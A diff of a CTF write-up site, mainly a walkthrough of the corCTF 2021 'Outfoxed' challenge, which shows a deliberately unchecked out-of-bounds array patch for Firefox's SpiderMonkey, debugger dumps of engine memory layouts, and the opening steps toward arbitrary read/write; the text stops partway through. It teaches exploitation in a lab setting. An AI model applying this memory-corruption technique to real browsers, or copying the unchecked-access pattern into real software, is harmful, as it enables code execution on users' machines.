monospace; font-size: 0.9rem; color: #567482; background-color: #f3f6fa; border-radius: 0.3rem; } +.main-content pre { padding: 0.8rem; margin-top: 0; margin-bottom: 1rem; font: 1rem Consolas, "Liberation Mono", Menlo, Courier, monospace; color: #567482; word-wrap: normal; background-color: #f3f6fa; border: solid 1px #dce6f0; border-radius: 0.3rem; } +.main-content pre > code { padding: 0; margin: 0; font-size: 0.9rem; color: #567482; word-break: normal; white-space: pre; background: transparent; border: 0; } +.main-content .highlight { margin-bottom: 1rem; } +.main-content .highlight pre { margin-bottom: 0; word-break: normal; } +.main-content .highlight pre, .main-content pre { padding: 0.8rem; overflow: auto; font-size: 0.9rem; line-height: 1.45; border-radius: 0.3rem; -webkit-overflow-scrolling: touch; } +.main-content pre code, .main-content pre tt { display: inline; max-width: initial; padding: 0; margin: 0; overflow: initial; line-height: inherit; word-wrap: normal; background-color: transparent; border: 0; } +.main-content pre code:before, .main-content pre code:after, .main-content pre tt:before, .main-content pre tt:after { content: normal; } +.main-content ul, .main-content ol { margin-top: 0; } +.main-content blockquote { padding: 0 1rem; margin-left: 0; color: #819198; border-left: 0.3rem solid #dce6f0; } +.main-content blockquote > :first-child { margin-top: 0; } +.main-content blockquote > :last-child { margin-bottom: 0; } +.main-content table { display: block; width: 100%; overflow: auto; word-break: normal; word-break: keep-all; -webkit-overflow-scrolling: touch; } +.main-content table th { font-weight: bold; } +.main-content table th, .main-content table td { padding: 0.5rem 1rem; border: 1px solid #e9ebec; } +.main-content dl { padding: 0; } +.main-content dl dt { padding: 0; margin-top: 1rem; font-size: 1rem; font-weight: bold; } +.main-content dl dd { padding: 0; margin-bottom: 1rem; } +.main-content hr { height: 2px; padding: 0; margin: 1rem 0; background-color: #eff0f1; border: 0; } + +.site-footer { padding-top: 2rem; margin-top: 2rem; border-top: solid 1px #eff0f1; } +@media screen and (min-width: 64em) { .site-footer { font-size: 1rem; } } +@media screen and (min-width: 42em) and (max-width: 64em) { .site-footer { font-size: 1rem; } } +@media screen and (max-width: 42em) { .site-footer { font-size: 0.9rem; } } + +.site-footer-owner { display: block; font-weight: bold; } + +.site-footer-credits { color: #819198; } + +:root { --bg: #181818; --text: #fff; --text-dim: #ffffffcc; --highlight-zero: #91e4dd; --highlight-one: #ff9900; --highlight-two: #FF6A6F; --dim: #a7a7a7; --code-text: #fff; --code-bg: #111111; --border-line: #ffffff00; --inline: #7effca; } + +html { font-family: 'Inter', sans-serif; } + +@supports (font-variation-settings: normal) { html { font-family: 'Inter var', sans-serif; } } +body { background: var(--bg); color: var(--text); } + +header { display: flex; justify-content: space-between; } + +#changeTheme { cursor: pointer; } + +.tag-line { font-size: 1.5em; } + +.right-links { word-spacing: 1em; } + +.main-content blockquote { color: var(--dim); border-color: var(--highlight-one); } + +.main-content { font-size: 1rem; } + +.page-header-simple { padding: 1em; font-size: 1.1em; font-weight: 400; font-family: 'Cousine'; } + +.page-header-simple a, .page-header-simple a:hover, .page-header-simple a:visited { color: var(--highlight-two); font-size: 0.85em; } + +footer a, footer a:hover, footer a:visited { color: var(--highlight-one); } + +.page-header-simple a:hover { text-decoration: none; } + +a, a:visited, a:hover { color: var(--highlight-zero); } + +.main-content h1, .main-content h2, .main-content h3, .main-content h4, .main-content h5, .main-content h6 { color: var(--text); font-weight: 600; } + +.main-content h1 { font-size: 2em; } + +.main-content h4 { margin-top: 0; } + +.main-content table th, .main-content table td { border: none; } + +.main-content table th { background: var(--bg); border-bottom: 1px solid var(--highlight-two); } + +.main-content table tr:nth-child(odd) { background-color: #202020; } + +.main-content table th { font-weight: bold; } + +.footnote-box { margin: 1em 0; padding: 0.75em; font-size: 0.9em; border: 1px var(--text) solid; color: var(--text-dim); } + +.main-content code, .main-content pre { font-family: 'Cousine', monospace; font-weight: normal !important; color: var(--code-text); background-color: var(--code-bg); } + +.main-content code { color: var(--inline); padding: 5px; border-radius: 3px; } + +.html-logo { font-family: 'Cousine'; color: var(--text); } + +.html-logo .circle { display: flex; justify-content: center; text-align: center; } + +.html-logo .highlight { font-weight: 700; color: var(--highlight-one); background: var(--bg); } + +.twitter { position: fixed; bottom: 15px; left: 15px; width: 30px; height: 30px; cursor: pointer; } + +.twitter img { max-width: 100%; max-height: 100%; } + +.lever-meme { position: fixed; bottom: 12px; right: 12px; width: 50px; height: 50px; cursor: pointer; } + +.lever-off { height: 100%; width: 100%; background-image: url("../images/lever-1.png"); background-size: cover; } + +.lever-on { height: 100%; width: 100%; background-image: url("../images/lever-2.png"); background-size: cover; } + +.lever-manic { height: 100%; width: 100%; background-image: url("../images/lever.gif"); background-size: cover; cursor: pointer; } + +.rainbow { transition: color .3s ease-in-out; -moz-transition: color .3s ease-in-out; -webkit-animation: rainbow 0.7s infinite; animation: rainbow 0.7s infinite; } + +@-webkit-keyframes rainbow { 0%, 100% { color: #7ccdea; } + 16% { color: #0074d9; } + 32% { color: #2ecc40; } + 48% { color: #ffdc00; } + 64% { color: #b10dc9; } + 80% { color: #ff4136; } } +@keyframes rainbow { 0%, 100% { color: #7ccdea; } + 16% { color: #0074d9; } + 32% { color: #2ecc40; } + 48% { color: #ffdc00; } + 64% { color: #b10dc9; } + 80% { color: #ff4136; } } +.MathJax_Display { overflow-x: auto; overflow-y: hidden; } + +@media only screen and (max-width: 600px) { .right-links { word-spacing: 0.25em; } + .page-header-simple { padding: 0.75em; } } diff --git a/assets/images/chaos.gif b/assets/images/chaos.gif new file mode 100755 index 0000000..0e6a10f Binary files /dev/null and b/assets/images/chaos.gif differ diff --git a/assets/images/lever-1.png b/assets/images/lever-1.png new file mode 100755 index 0000000..66ac5b7 Binary files /dev/null and b/assets/images/lever-1.png differ diff --git a/assets/images/lever-2.png b/assets/images/lever-2.png new file mode 100755 index 0000000..97f9402 Binary files /dev/null and b/assets/images/lever-2.png differ diff --git a/assets/images/lever.gif b/assets/images/lever.gif new file mode 100755 index 0000000..6e50fcd Binary files /dev/null and b/assets/images/lever.gif differ diff --git a/assets/images/logo.png b/assets/images/logo.png new file mode 100755 index 0000000..68c3e74 Binary files /dev/null and b/assets/images/logo.png differ diff --git a/assets/images/twitter.svg b/assets/images/twitter.svg new file mode 100755 index 0000000..b25ac93 --- /dev/null +++ b/assets/images/twitter.svg @@ -0,0 +1,16 @@ + + + diff --git a/corCTF-2021/index.html b/corCTF-2021/index.html new file mode 100755 index 0000000..e3136ba --- /dev/null +++ b/corCTF-2021/index.html @@ -0,0 +1,219 @@ + + + + + +corCTF 2021 | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

corCTF 2021

+ + + + + + + + + + + + + + + + + + +
ChallengeCategory
Outfoxedpwn, browser
circusrev, rust, meme
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/corCTF-2021/index.md b/corCTF-2021/index.md new file mode 100755 index 0000000..a9aa14c --- /dev/null +++ b/corCTF-2021/index.md @@ -0,0 +1,6 @@ +# corCTF 2021 + +| Challenge | Category | +|-----------|----------| +| [Outfoxed](./pwn/outfoxed) | pwn, browser | +| [circus](./rev/circus) | rev, rust, meme | \ No newline at end of file diff --git a/corCTF-2021/pwn/outfoxed.html b/corCTF-2021/pwn/outfoxed.html new file mode 100755 index 0000000..07b062a --- /dev/null +++ b/corCTF-2021/pwn/outfoxed.html @@ -0,0 +1,1209 @@ + + + + + +Outfoxed | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Outfoxed

+ +

Authors: Nspace

+ +

Tags: pwn, browser

+ +

Points: 498

+ +
+

Just your average, easy browser pwn!

+ +

https://outfoxed.be.ax

+ +

outfoxed.tar.xz

+
+ +

Analysis

+ +

In this challenge the authors visit a webpage of our choosing using a buggy +Firefox. Our job is to exploit the Firefox bug and use it to read the flag which +is stored on the challenge server.

+ +

Let’s start by checking out the attachments:

+ +
$ tree outfoxed
+outfoxed
+├── app
+│   ├── flag.txt
+│   ├── fox.py
+│   └── reader
+├── code
+│   ├── log
+│   ├── mozconfig
+│   ├── patch
+│   └── README.md
+├── docker-compose.yml
+└── Dockerfile
+
+ +

The challenge runs in a container built from the following Dockerfile:

+ +
FROM python:slim
+RUN apt-get update \
+	&& apt-get install -y socat curl gzip \
+	&& apt-get install -y --no-install-recommends \
+	libglib2.0-0 libnss3 libatk1.0-0 libatk-bridge2.0-0 libcups2 libdrm2 \
+	libxkbcommon0 libxcomposite1 libxdamage1 libxrandr2 libgbm1 libgtk-3-0 \
+	libasound2 libxshmfence1 libx11-xcb1 libdbus-glib-1-2 libxtst6 libxt6 && rm -rf /var/lib/apt/lists/*
+
+COPY app/flag.txt /flag.txt
+COPY app/reader /reader
+RUN chmod 0640 /flag.txt && chmod 6755 /reader
+
+RUN useradd -ms /bin/bash ctf
+
+WORKDIR /app
+RUN curl -fsS https://files.be.ax/outfoxed-7d11ebc85cf45e851977eda017da26ad71b225ecf28e3f2973fc1cbd09dd3286/outfoxed.tar.gz | tar x
+COPY app/fox.py /app/flag.py
+
+USER ctf
+CMD  ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:/app/flag.py"]
+
+ +

OBJECTIVE: read flag.txt.

+ +

Firefox runs as the user ctf, but only root can read the flag. The only way to +get it is to execute the reader program which prints the flag and is setuid +root. This setup means that reading arbitrary files is not enough, and instead +we need to get code execution in the container.

+ +

NEW OBJECTIVE: execute /reader and read its output.

+ +

fox.py reads a webpage from us and opens it in Firefox:

+ +
#!/usr/bin/env python3
+
+import os
+import sys
+import tempfile
+
+print("Enter exploit followed by EOF: ")
+sys.stdout.flush()
+
+buf = ""
+while "EOF" not in buf:
+    buf += input() + "\n"
+
+with tempfile.TemporaryDirectory() as dir:
+    os.chdir(dir)
+    with open("exploit.html", 'w') as f:
+        f.write("<script src='exploit.js'></script>")
+    with open("exploit.js", 'w') as f:
+        f.write(buf[:-3])
+    os.environ["MOZ_DISABLE_CONTENT_SANDBOX"] = "1"
+    os.system(f"timeout 20s /app/firefox/firefox --headless exploit.html")
+
+ +

The script sets the MOZ_DISABLE_CONTENT_SANDBOX environment variable which +disables Firefox’s sandbox. Modern web browsers employ +a multi-process architecture to defend against vulnerabilities: the browser process +is privileged and has access to everything, whereas the renderer processes are +heavily sandboxed and can do almost nothing without going through the browser +process. The code that is most vulnerable to attacks (e.g., because it handles +untrusted data) runs in the renderer process so that even if an attacker manages +to exploit it, they still cannot take over the machine. If you’re interested in +learning more, LiveOverflow has a video +that talks about browser sandboxing. Here the sandbox is +disabled, so a compromised renderer process is free to read/write files and execute other +programs. This means that taking over the renderer process is enough to solve +the challenge, as we can then execute /reader and get the flag.

+ +

NEW OBJECTIVE: compromise Firefox’s renderer process.

+ +

Patch

+ +

Browser challenges don’t usually ask the players to exploit a real-world bug +(although there are +exceptions of course). +Instead, the author typically introduces their own bug into the browser, and +players have to exploit that. This challenge is no different, and it includes +the author’s Firefox patch. Let’s have a look at that:

+ +
diff --git a/js/src/builtin/Array.cpp b/js/src/builtin/Array.cpp
+--- a/js/src/builtin/Array.cpp
++++ b/js/src/builtin/Array.cpp
+@@ -428,6 +428,29 @@ static inline bool GetArrayElement(JSCon
+   return GetProperty(cx, obj, obj, id, vp);
+ }
+ 
++static inline bool GetTotallySafeArrayElement(JSContext* cx, HandleObject obj,
++                                   uint64_t index, MutableHandleValue vp) {
++  if (obj->is<NativeObject>()) {
++    NativeObject* nobj = &obj->as<NativeObject>();
++    vp.set(nobj->getDenseElement(size_t(index)));
++    if (!vp.isMagic(JS_ELEMENTS_HOLE)) {
++      return true;
++    }
++
++    if (nobj->is<ArgumentsObject>() && index <= UINT32_MAX) {
++      if (nobj->as<ArgumentsObject>().maybeGetElement(uint32_t(index), vp)) {
++        return true;
++      }
++    }
++  }
++
++  RootedId id(cx);
++  if (!ToId(cx, index, &id)) {
++    return false;
++  }
++  return GetProperty(cx, obj, obj, id, vp);
++}
++
+ static inline bool DefineArrayElement(JSContext* cx, HandleObject obj,
+                                       uint64_t index, HandleValue value) {
+   RootedId id(cx);
+@@ -2624,6 +2647,7 @@ enum class ArrayAccess { Read, Write };
+ template <ArrayAccess Access>
+ static bool CanOptimizeForDenseStorage(HandleObject arr, uint64_t endIndex) {
+   /* If the desired properties overflow dense storage, we can't optimize. */
++
+   if (endIndex > UINT32_MAX) {
+     return false;
+   }
+@@ -3342,6 +3366,34 @@ static bool ArraySliceOrdinary(JSContext
+   return true;
+ }
+ 
++
++bool js::array_oob(JSContext* cx, unsigned argc, Value* vp) {
++  CallArgs args = CallArgsFromVp(argc, vp);
++  RootedObject obj(cx, ToObject(cx, args.thisv()));
++  double index;
++  if (args.length() == 1) {
++    if (!ToInteger(cx, args[0], &index)) {
++      return false;
++    }
++    GetTotallySafeArrayElement(cx, obj, index, args.rval());
++  } else if (args.length() == 2) {
++    if (!ToInteger(cx, args[0], &index)) {
++      return false;
++    }
++    NativeObject* nobj =
++        obj->is<NativeObject>() ? &obj->as<NativeObject>() : nullptr;
++    if (nobj) {
++      nobj->setDenseElement(index, args[1]);
++    } else {
++      puts("Not dense");
++    }
++    GetTotallySafeArrayElement(cx, obj, index, args.rval());
++  } else {
++    return false;
++  }
++  return true;
++}
++
+ /* ES 2016 draft Mar 25, 2016 22.1.3.23. */
+ bool js::array_slice(JSContext* cx, unsigned argc, Value* vp) {
+   AutoGeckoProfilerEntry pseudoFrame(
+@@ -3569,6 +3621,7 @@ static const JSJitInfo array_splice_info
+ };
+ 
+ static const JSFunctionSpec array_methods[] = {
++    JS_FN("oob", array_oob, 2, 0),
+     JS_FN(js_toSource_str, array_toSource, 0, 0),
+     JS_SELF_HOSTED_FN(js_toString_str, "ArrayToString", 0, 0),
+     JS_FN(js_toLocaleString_str, array_toLocaleString, 0, 0),
+diff --git a/js/src/builtin/Array.h b/js/src/builtin/Array.h
+--- a/js/src/builtin/Array.h
++++ b/js/src/builtin/Array.h
+@@ -113,6 +113,8 @@ extern bool array_shift(JSContext* cx, u
+ 
+ extern bool array_slice(JSContext* cx, unsigned argc, js::Value* vp);
+ 
++extern bool array_oob(JSContext* cx, unsigned argc, Value* vp);
++
+ extern JSObject* ArraySliceDense(JSContext* cx, HandleObject obj, int32_t begin,
+                                  int32_t end, HandleObject result);
+
+
+ +

The patch looks a bit complicated, but in reality it only adds a new oob +method to JavaScript arrays. Array.prototype.oob lets us read and write an +element of the array. For example:

+ +
let a = [1, 2];
+
+// Read an element of the array
+console.log(a.oob(0));
+// prints 1
+
+// Write an element of the array
+a.oob(1, 1234);
+console.log(a);
+// prints 1, 1234
+
+ +

The catch is that oob doesn’t perform any bounds checking, so it lets us read +and write out of bounds:

+ +
console.log(a.oob(1000));
+// prints 5e-324
+
+ +

Bugs like this are generally pretty straightforward to turn into code execution. +So with that in mind, let’s get started!

+ +

Setup

+ +

Debugging a browser is usually a bit complicated because of the multi-process +setup. Fortunately, it’s usually possible to build a JavaScript shell that only +includes the JavaScript runtime and that we can debug easily with GDB. Firefox +is no exception here. I built Firefox’s JavaScript shell by following +Mozilla’s documentation. +Make sure to use the same version as the author (655554:f4922b9e9a6b) and to +apply the patch before compiling. While building in debug mode is generally +a good idea when debugging, accessing arrays out of bounds with oob causes +an assertion failure which crashes the shell so I used a release build to +develop the exploit. We can debug the resulting js binary easily in GDB.

+ +

I will be using pwndbg, a GDB plugin that +adds a lot of nice features, throughout the writeup.

+ +
pwndbg: loaded 195 commands. Type pwndbg [filter] for a list.
+pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
+Reading symbols from dist/bin/js...
+pwndbg> b js::math_atan2
+Breakpoint 1 at 0x134b162: file /home/matteo/Documents/gecko-dev/js/src/jsmath.cpp, line 162.
+pwndbg> r
+js> Math.atan2(2)
+
+Thread 1 "js" hit Breakpoint 1, js::math_atan2 (cx=cx@entry=0x7ffff6518000, argc=1, vp=0x7ffff5343098) at js/src/jsmath.cpp:162
+162	  CallArgs args = CallArgsFromVp(argc, vp);
+ERROR: Could not find ELF base!
+ERROR: Could not find ELF base!
+LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
+────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────
+ RAX  0x1
+ RBX  0x7ffff53c1800 —▸ 0x7ffff6563080 —▸ 0x7ffff53ac000 —▸ 0x7ffff653b000 —▸ 0x7ffff5343000 ◂— ...
+ RCX  0x4be574f94dddc200
+ RDX  0x7ffff5343098 ◂— 0xfffe3eb45a763158
+ RDI  0x7ffff6518000 ◂— 0x0
+ RSI  0x1
+ R8   0x1a
+ R9   0x7fffffffc648 —▸ 0x3eb45a761360 ◂— 0x500000258
+ R10  0x7ffff52c6c00 ◂— 0x0
+ R11  0x7fffffffc598 —▸ 0x7fffffffc638 ◂— 0x0
+ R12  0x55555689f140 ◂— push   rbp
+ R13  0x7fffffffc750 —▸ 0x7ffff53430a8 ◂— 0xfff8800000000002
+ R14  0x7ffff6518000 ◂— 0x0
+ R15  0x7ffff5343098 ◂— 0xfffe3eb45a763158
+ RBP  0x7fffffffc5e0 —▸ 0x7fffffffc680 —▸ 0x7fffffffca60 —▸ 0x7fffffffcab0 —▸ 0x7fffffffcb20 ◂— ...
+ RSP  0x7fffffffc5b0 —▸ 0x3eb45a73d030 —▸ 0x3eb45a7644a0 —▸ 0x3eb45a73b0b8 —▸ 0x55555764cf20 (global_class) ◂— ...
+ RIP  0x55555689f162 ◂— mov    rcx, qword ptr [rdx + 8]
+──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────
+ ► 0x55555689f162    mov    rcx, qword ptr [rdx + 8]
+   0x55555689f166    mov    rdx, rcx
+   0x55555689f169    shr    rdx, 0x2f
+   0x55555689f16d    cmp    edx, 0x1fff5
+   0x55555689f173    jne    0x55555689f17e                <0x55555689f17e>
+    ↓
+   0x55555689f17e    test   eax, eax
+   0x55555689f180    je     0x55555689f197                <0x55555689f197>
+ 
+   0x55555689f182    lea    rsi, [r15 + 0x10]
+   0x55555689f186    cmp    eax, 1
+   0x55555689f189    jne    0x55555689f1a6                <0x55555689f1a6>
+ 
+   0x55555689f18b    lea    rax, [rip + 0xdc61de]         <0x555557665370>
+──────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────
+In file: js/src/jsmath.cpp
+   157   res.setDouble(z);
+   158   return true;
+   159 }
+   160 
+   161 bool js::math_atan2(JSContext* cx, unsigned argc, Value* vp) {
+ ► 162   CallArgs args = CallArgsFromVp(argc, vp);
+   163 
+   164   return math_atan2_handle(cx, args.get(0), args.get(1), args.rval());
+   165 }
+   166 
+   167 double js::math_ceil_impl(double x) {
+──────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
+00:0000│ rsp 0x7fffffffc5b0 —▸ 0x3eb45a73d030 —▸ 0x3eb45a7644a0 —▸ 0x3eb45a73b0b8 —▸ 0x55555764cf20 (global_class) ◂— ...
+01:0008│     0x7fffffffc5b8 —▸ 0x7ffff6518060 —▸ 0x7fffffffc7a8 ◂— 0x7ffff6518060
+02:0010│     0x7fffffffc5c0 ◂— 0x4be574f94dddc200
+03:0018│     0x7fffffffc5c8 —▸ 0x7ffff53c1800 —▸ 0x7ffff6563080 —▸ 0x7ffff53ac000 —▸ 0x7ffff653b000 ◂— ...
+04:0020│     0x7fffffffc5d0 —▸ 0x7ffff6518000 ◂— 0x0
+05:0028│     0x7fffffffc5d8 —▸ 0x7fffffffc618 —▸ 0x7ffff6518000 ◂— 0x0
+06:0030│ rbp 0x7fffffffc5e0 —▸ 0x7fffffffc680 —▸ 0x7fffffffca60 —▸ 0x7fffffffcab0 —▸ 0x7fffffffcb20 ◂— ...
+07:0038│     0x7fffffffc5e8 —▸ 0x5555568b2252 ◂— mov    r15d, eax
+────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
+ ► f 0   0x55555689f162
+   f 1   0x5555568b2252
+   f 2   0x5555568b2252
+   f 3   0x5555568ac3ff
+   f 4   0x5555568ac3ff
+   f 5   0x5555568ac3ff
+   f 6   0x5555568a40a8
+   f 7   0x5555568b388e
+──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
+pwndbg> 
+
+ +

SpiderMonkey Internals

+ +

While I have solved numerous browser challenges based on Chromium, I had never +looked at SpiderMonkey (Firefox’s JavaScript engine) before. However JavaScript +engines all work in a similar way and my experience with V8 (Chromium’s +JavaScript engine) was really helpful in quickly making sense of SpiderMonkey’s +internals. I also relied heavily on +this blog post by 0vercl0k +to understand SpiderMonkey and get ideas on how to proceed in my exploit. +I encourage you to go and read it +if you’re not already familiar with this engine, but I’ll summarize the more +important parts here. As far as I can tell some of the data structures have +changed since that blog post was written, so the information in there is not +entirely up to date. The important parts have stayed the same though.

+ +

JS Arrays

+ +

Array.prototype.oob lets us read and write out of bounds of a JavaScript array, +so it’s important that we first understand how SpiderMonkey stores JavaScript arrays in memory. +A JavaScript array is stored as a js::NativeObject. We can +print its memory layout using GDB:

+ +
pwndbg> ptype /o js::NativeObject
+/* offset    |  size */  type = class js::NativeObject : public JSObject {
+                         protected:
+/*    8      |     8 */    js::HeapSlot *slots_;
+/*   16      |     8 */    js::HeapSlot *elements_;
+                           /* total size (bytes):   24 */
+                        }
+
+ +

The first 8 bytes contain a pointer to a js::Shape, which essentially describes +the memory layout of the object and is used, among other things, by the GC when +it needs to figure out what memory to collect. slots_ and elements_ point +to the memory that contains the array’s properties, and elements respectively. +We can see this when printing the contents of memory in GDB.

+ +
js> let a = [1, 2, 3, 4]
+
+pwndbg> tele 0x0e704873d0e0
+00:0000│  0xe704873d0e0 —▸ 0xe7048760e20 —▸ 0xe704873b208 —▸ 0x555557650e10 (js::ArrayObject::class_) —▸ 0x55555574c0be ◂— ...
+01:0008│  0xe704873d0e8 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x100000000
+02:0010│  0xe704873d0f0 —▸ 0xe704873d108 ◂— 0xfff8800000000001
+03:0018│  0xe704873d0f8 ◂— 0x400000000
+04:0020│  0xe704873d100 ◂— 0x400000006
+05:0028│  0xe704873d108 ◂— 0xfff8800000000001
+06:0030│  0xe704873d110 ◂— 0xfff8800000000002
+07:0038│  0xe704873d118 ◂— 0xfff8800000000003
+08:0040│  0xe704873d120 ◂— 0xfff8800000000004
+09:0048│  0xe704873d128 ◂— 0x0
+... ↓
+
+ +

As we can see, elements_ points to 0xe704873d108, which contains the 4 +elements of our array. Since a JavaScript array can contain any type of object, +and not just integers, the engine uses NaN tagging to distinguish between +different types. Floats are stored as-is, and other types such as integers and +pointers contain a tag in the upper 17 bits that identifies their type. This is +called NaN tagging because these tagged values correspond to special Not-a-Number +values when interpreted as a floating point number. Here, 0xfff88 is the tag for +integers, and we can indeed see that our 4 array elements are tagged in this way.

+ +

We can verify this by printing the contents of an array that contains other types +of objects:

+
js> let a = [1, 2, 13.37, []]
+
+pwndbg> tele 0x10d983000698
+00:0000│  0x10d983000698 —▸ 0x12997c760e20 —▸ 0x12997c73b208 —▸ 0x555557650e10 (js::ArrayObject::class_) —▸ 0x55555574c0be ◂— ...
+01:0008│  0x10d9830006a0 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x100000000
+02:0010│  0x10d9830006a8 —▸ 0x10d9830006c0 ◂— 0xfff8800000000001
+03:0018│  0x10d9830006b0 ◂— 0x400000000
+04:0020│  0x10d9830006b8 ◂— 0x400000006
+05:0028│  0x10d9830006c0 ◂— 0xfff8800000000001
+06:0030│  0x10d9830006c8 ◂— 0xfff8800000000002
+07:0038│  0x10d9830006d0 ◂— 0x402abd70a3d70a3d
+08:0040│  0x10d9830006d8 ◂— 0xfffe10d9830006f8
+09:0048│  0x10d9830006e0 ◂— 0x0
+0a:0050│  0x10d9830006e8 ◂— 0x0
+
+pwndbg> p *(double*)0x10d9830006d0
+$2 = 13.369999999999999
+
+ +

As we expected, 1 and 2 are tagged with 0xfff88, the float is stored untagged, +and the pointer to the array is tagged with 0xfffe. The other two qwords between +elements_ and the elements storage is a js::ObjectElements object that +describes the length and capacity of the array:

+ +
pwndbg> ptype /o js::ObjectElements
+/* offset    |  size */  type = class js::ObjectElements {
+                         private:
+/*    0      |     4 */    uint32_t flags;
+/*    4      |     4 */    uint32_t initializedLength;
+/*    8      |     4 */    uint32_t capacity;
+/*   12      |     4 */    uint32_t length;
+                           /* total size (bytes):   16 */
+                         }
+
+pwndbg> p *(js::ObjectElements*)0x10d9830006b0
+$3 = {
+  flags = 0,
+  initializedLength = 4,
+  capacity = 6,
+  length = 4,
+}
+
+ +

A typical technique used in exploiting JavaScript engines is to overwrite the +elements pointer of an array, then read or write to the array to gain arbitrary +memory read and write. While this works, it would be annoying to do so in our +exploit because we would need to tag/untag values all the time and we wouldn’t +be able to write values that don’t correspond to a valid float or tagged value. +Fortunately the JavaScript spec gives us another data structure that is much +more convenient for this.

+ +

JS TypedArrays

+ +

In contrast to regular JavaScript arrays, a TypedArray can only contain integers +of a fixed size. For example a Uint32Array can only contain unsigned 32-bit integers. +The elements of a TypedArray are always stored untagged, just like in a C array. +This avoids the problems I described in the previous section and makes TypedArrays +a popular corruption target in JavaScript engine exploits. SpiderMonkey represents +TypedArrays as a js::ArrayBufferViewObject:

+ +
class ArrayBufferViewObject : public NativeObject {
+ public:
+  // Underlying (Shared)ArrayBufferObject.
+  static constexpr size_t BUFFER_SLOT = 0;
+
+  // Slot containing length of the view in number of typed elements.
+  static constexpr size_t LENGTH_SLOT = 1;
+
+  // Offset of view within underlying (Shared)ArrayBufferObject.
+  static constexpr size_t BYTEOFFSET_SLOT = 2;
+
+  // Pointer to raw buffer memory.
+  static constexpr size_t DATA_SLOT = 3;
+
+  // ...
+}
+
+ +
js> let a = new Uint32Array([1, 2, 3, 4])
+
+pwndbg> tele 0x07e2a5200698
+00:0000│  0x7e2a5200698 —▸ 0x31e83964940 —▸ 0x31e8393b2b0 —▸ 0x555557664870 (js::TypedArrayObject::classes+240) —▸ 0x555555735fd4 ◂— ...
+01:0008│  0x7e2a52006a0 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x100000000
+02:0010│  0x7e2a52006a8 —▸ 0x555555767280 (emptyElementsHeader+16) ◂— 0xfff9800000000000
+03:0018│  0x7e2a52006b0 ◂— 0xfffa000000000000
+04:0020│  0x7e2a52006b8 ◂— 0x4
+05:0028│  0x7e2a52006c0 ◂— 0x0
+06:0030│  0x7e2a52006c8 —▸ 0x7e2a52006d0 ◂— 0x200000001
+07:0038│  0x7e2a52006d0 ◂— 0x200000001
+pwndbg> 
+08:0040│  0x7e2a52006d8 ◂— 0x400000003
+09:0048│  0x7e2a52006e0 ◂— 0x0
+... ↓
+
+ +

An ArrayBufferViewObject has shape, objects, and elements pointers just like +a NativeObject. The memory that follows the elements pointers is the storage +for the TypedArray’s slots, which in this case contain a pointer to an +ArrayBufferObject, the length of the TypedArray, the offset into the +ArrayBufferObject, and a pointer to the TypedArray’s elements. The ArrayBuffer +and byte offset pointers aren’t really relevant for this exploit so we’ll ignore +them here. The data slot is what we really care about, and as you can see it +contains our (untagged) numbers:

+ +
pwndbg> x/4wx 0x7e2a52006d0
+0x7e2a52006d0:	0x00000001	0x00000002	0x00000003	0x00000004
+
+ +

Exploitation

+ +

Most, if not all JavaScript engine exploits follow a similar plan: gain arbitrary +read/write in the process’ address space and the use that to overwrite some +executable code with shellcode or overwrite a code pointer and start a JOP/ROP +chain. We’ll develop the exploit in the JavaScript shell and then make it work +in Firefox.

+ +

Arbitrary R/W

+ +

So far the plan seems clear. We will use Array.prototype.oob to overwrite the +data pointer of a TypedArray and then use that to read and write to any address.

+ +

Let’s start by allocating a regular array and a TypedArray. Most (all?) JavaScript +engines allocate objects in sequence, so if we allocate the array the typed +array one after the other they should be next to each other in memory.

+ +
let a = new Array(1,2,3,4,5,6);
+let b = new BigUint64Array(1);
+
+ +
pwndbg> tele 0x10a04c000698
+00:0000│  0x10a04c000698 —▸ 0x3c159f560e20 —▸ 0x3c159f53b208 —▸ 0x555557650e10 (js::ArrayObject::class_) —▸ 0x55555574c0be ◂— ...
+01:0008│  0x10a04c0006a0 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x100000000
+02:0010│  0x10a04c0006a8 —▸ 0x10a04c0006c0 ◂— 0xfff8800000000001
+03:0018│  0x10a04c0006b0 ◂— 0x600000000
+04:0020│  0x10a04c0006b8 ◂— 0x600000006
+05:0028│  0x10a04c0006c0 ◂— 0xfff8800000000001
+06:0030│  0x10a04c0006c8 ◂— 0xfff8800000000002
+07:0038│  0x10a04c0006d0 ◂— 0xfff8800000000003
+pwndbg> 
+08:0040│  0x10a04c0006d8 ◂— 0xfff8800000000004
+09:0048│  0x10a04c0006e0 ◂— 0xfff8800000000005
+0a:0050│  0x10a04c0006e8 ◂— 0xfff8800000000006
+0b:0058│  0x10a04c0006f0 —▸ 0x7ffff53ac910 —▸ 0x7ffff53ac000 —▸ 0x7ffff653b000 —▸ 0x7ffff5343000 ◂— ...
+0c:0060│  0x10a04c0006f8 —▸ 0x3c159f564860 —▸ 0x3c159f53b280 —▸ 0x555557664960 (js::TypedArrayObject::classes+480) —▸ 0x55555574f29b ◂— ...
+0d:0068│  0x10a04c000700 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x100000000
+0e:0070│  0x10a04c000708 —▸ 0x555555767280 (emptyElementsHeader+16) ◂— 0xfff9800000000000
+0f:0078│  0x10a04c000710 ◂— 0xfffa000000000000
+pwndbg> 
+10:0080│  0x10a04c000718 ◂— 0x1
